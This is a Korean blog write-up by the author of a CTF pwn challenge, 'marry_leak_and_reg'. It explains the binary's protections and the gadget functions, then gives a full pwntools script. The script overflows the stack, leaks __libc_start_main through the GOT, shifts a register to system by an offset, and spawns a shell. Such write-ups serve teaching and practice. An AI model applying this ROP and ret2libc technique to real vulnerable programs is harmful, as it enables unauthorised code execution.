hOwDayS 선린 10720
[pwn][해설] marry_leak_and_reg 본문
소개
처음으로 의도를 생각하면서 만든 문제입니다.
함수가 어셈을 보지 않는 이상 알 수 없어 약간 꼼꼼 숨겨 있는 감이 있습니다.
이런점을 보완해 다음 문제는 더 좋게 만들겠습니다.
힙찔이라 힙문제는 많이 공부한 후에 출시하겠습니다.
읽으시고 unintend solution으로 푸신 분들은 시간을 조금만 내서
비밀댓글로 익스플로잇코드 부탁드립니다 ㅠㅠ
보호 기법
RELRO | Partial RELRO |
Stack Canary | No canary Found |
NX | NX Enabled |
PIE | No PIE |
분석
메인 함수입니다.
메인의 중요한부분
atoi로 받은 값을 절댓값으로 처리한다음 ebx에 더해줍니다.
( 이 부분 부터는 익스플로잇할 때의 순서에 맞춰 설명 하겠습니다. )
0x08048470 함수
여기에서는 주소를 인자로 받은 다음 주소안에 있는 내용을 eax레지스터로 옮겨주는 부분입니다.
함수
eax레지스터에 있는 값을 ebx레지스터에 복사시킵니다.
0x0804845B 함수
여기에서는 "/bin/sh"가 있는 주소를 인자로 ebx를 호출 시킵니다.
쉽게 설명하면 ebx(aBinSh);
Leak
화면으로 출력하는 함수가 없기에
직접적 릭은 못합니다.
하지만 0x08048470 함수를 이용해 eax레지스터에 릭할 수 있습니다.
( 제목을 지은 이유 )
유의 사항 : 릭할 타겟은 system함수보다 오프셋이 낮은
__libc_start_main을 이용해야 합니다.
Exploit
익스플로잇 시나리오는 이러합니다.
1. 0x08048470 함수로 로 릭함 ( eax )
2. 0x08048468 함수로 레지스터 값 옮겨줌 (ebx=eax)
3. 메인을 통해 ebx값을 오프셋을 이용해 system함수로 이동하게함
{ fabs(절댓값)함수가 있으므로 Leak 유의사항을 읽으셔야 합니다!! }
4. 0x0804845B 호출
Exploit Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | from pwn import * p = process("./marry_leak_and_reg") e = ELF("./marry_leak_and_reg") context.terminal = ['gnome-terminal','-x','sh','-c'] main = 0x0804847E useone = 0x08048470 usetwo = 0x08048468 shell = 0x0804845B pr = 0x0804858B ## STAGE1 LEAK ## #raw_input() stage1 = 'e' * 0x108 stage1 += "AAAA" stage1 += p32(useone) stage1 += p32(pr) stage1 += p32(e.got['__libc_start_main']) stage1 += p32(usetwo) stage1 += p32(main) log.info("Stage 1: " + str(len(stage1))) p.send(stage1) ## STAGE2 EXPLOIT ## # SEND OFFSET system - __libc_start_main = 141408 p.sendline("141408") stage2 = 'e' * 0x108 stage2 += 'AAAA' stage2 += p32(shell) p.sendline(stage2) p.interactive() | cs |
'문제제작' 카테고리의 다른 글
[pwn][문제] marry_leak_and_reg (2) | 2018.07.07 |
---|
Comments